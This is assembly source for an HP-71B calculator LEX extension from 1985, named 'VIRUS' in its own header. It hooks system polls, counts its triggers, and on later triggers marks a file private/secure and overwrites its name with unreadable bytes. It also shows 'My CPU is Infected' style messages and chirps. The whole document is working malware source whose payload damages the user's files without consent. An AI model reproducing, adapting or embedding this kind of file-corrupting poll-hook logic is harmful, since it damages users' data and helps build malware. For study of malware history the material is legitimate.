LEX    'VIRUS' the original name
IDSTRT 
       TITLE  VIRUS LEX FILE, JR BAKER 85/05/30
       CON(2) #5E    LEX ID number
       CON(2) 0      no tokens
       CON(2) 0      no tokens
       CON(5) 0      no linked files
       NIBHEX F      no speed table
       REL(4) (TxTbSt)+1  start of text table
       CON(4) 0      no message table
       REL(5) POLHND offset to poll handler
TxTbSt
       NIBHEX 1FF    end of text table
********************************
*
pBSCex EQU #000F6 poll on exiting BASIC interpreter
pCONFG EQU #000FB configuration poll
BF2DSP EQU #01C0E send ASCII buffer to display & pil
CHIRP  EQU #0EC5A make noises piezoelectrically
*
*
*
********************************
*
POLHND
       LC(2)  pCONFG
       ?B=C   B      is this configuration poll ?
       GOYES  VIR01  yes
       LC(2)  pBSCex
       ?B=C   B      are we exiting BASIC interpreter
       GOYES  VIR02  yes
       RTNSXM        no, not a poll we handle
*
VIR01
VIR02
       GOSUB  POP02  get following address
OFF01  CON(5) (OFF02)-(OFF01) offset to counter nibble
POP02  C=RSTK        get address of offset
       D1=C          put in D1
       A=DAT1 A      read offset
       C=C+A  A      add to address
       D1=C          load D1
       C=DAT1 1      read counter nibble
       ?C#0   P      first time? (or mod 16)
       GOYES  VIR04  no, see if we say something
       GOTO   VIR05  yes, don't private the first time
*
VIR04  GOSUB  POP00  get following address
OFFSET CON(5) (OFFSET)-(IDSTRT)+17  get flags offset
POP00  C=RSTK        get offset address
       B=C    A      save offset address
       D1=C          load in D1
       C=DAT1 A      read offset
       CBEX   A      exchange offset and address
       C=C-B  A      get absolute address of flags field
       D1=C          point to flags
       LC(1)  3      load private/secure
       DAT1=C 1      make file private/secure
       D1=D1- 4      skip down past filetype
       D1=D1- 16     point to start of name field
       LCHEX  6E75660065766168  load 'have fun' null space
       DAT1=C 16     write an unreadable file name
*
VIR05  GOSUB  POP01  get following address
OFF02  BSS    1      set counter nibble to zero
POP01
       C=RSTK        get address of counter nibble
       D1=C          point at counter nibble
       C=DAT1 P      read counter nibble
       C=C+1  P      increment counter nibble
       DAT1=C P      write incremented counter nibble
       B=C    P      save copy in B:0
       LC(1)  3      load a mask
       C=C&B  P      mask out to give a modulo 4
       ?C#0   P      are we not zero (as taken mod 4) ?
       GOYES  VIR03  yes, continue
       RTNSXM        no, return
*
VIR03  
       C=B    P      get the original counter nib
       P=C    0      use P for tests
       ?P=    5
       GOYES  VIR10
       ?P=    7
       GOYES  VIR11
       ?P=    15
       GOYES  VIR12
       RTNSXM       return normally unless we jumped above
*
VIR10  P=     0
       GOSUB  POPDSP
       NIBASC 'Hello '
       NIBASC 'There !!'
       NIBHEX D0A0FF
*
VIR11  P=     0
       GOSUB  POPDSP
       NIBASC 'My CPU '
       NIBASC 'is Infec'
       NIBASC 'ted'
       NIBHEX D0A0FF
*
VIR12  P=     0
       GOSUB  POPDSP
       NIBASC 'Can You '
       NIBASC 'Help ?'
       NIBHEX D0A0FF
*
POPDSP
       C=D    A      copy position in LEX buffer
       R0=C          save in R0
       C=RSTK        get address of text
       D1=C          text address in D1
       GOSBVL BF2DSP display text
       GOSBVL CHIRP  make an audable noise
*
EXIT
       C=R0          get back position in LEX buffer
       D=C    A      restore so poll returns properly
       C=-C-1 A      clear carry
       RTNSXM        return, XM set
       END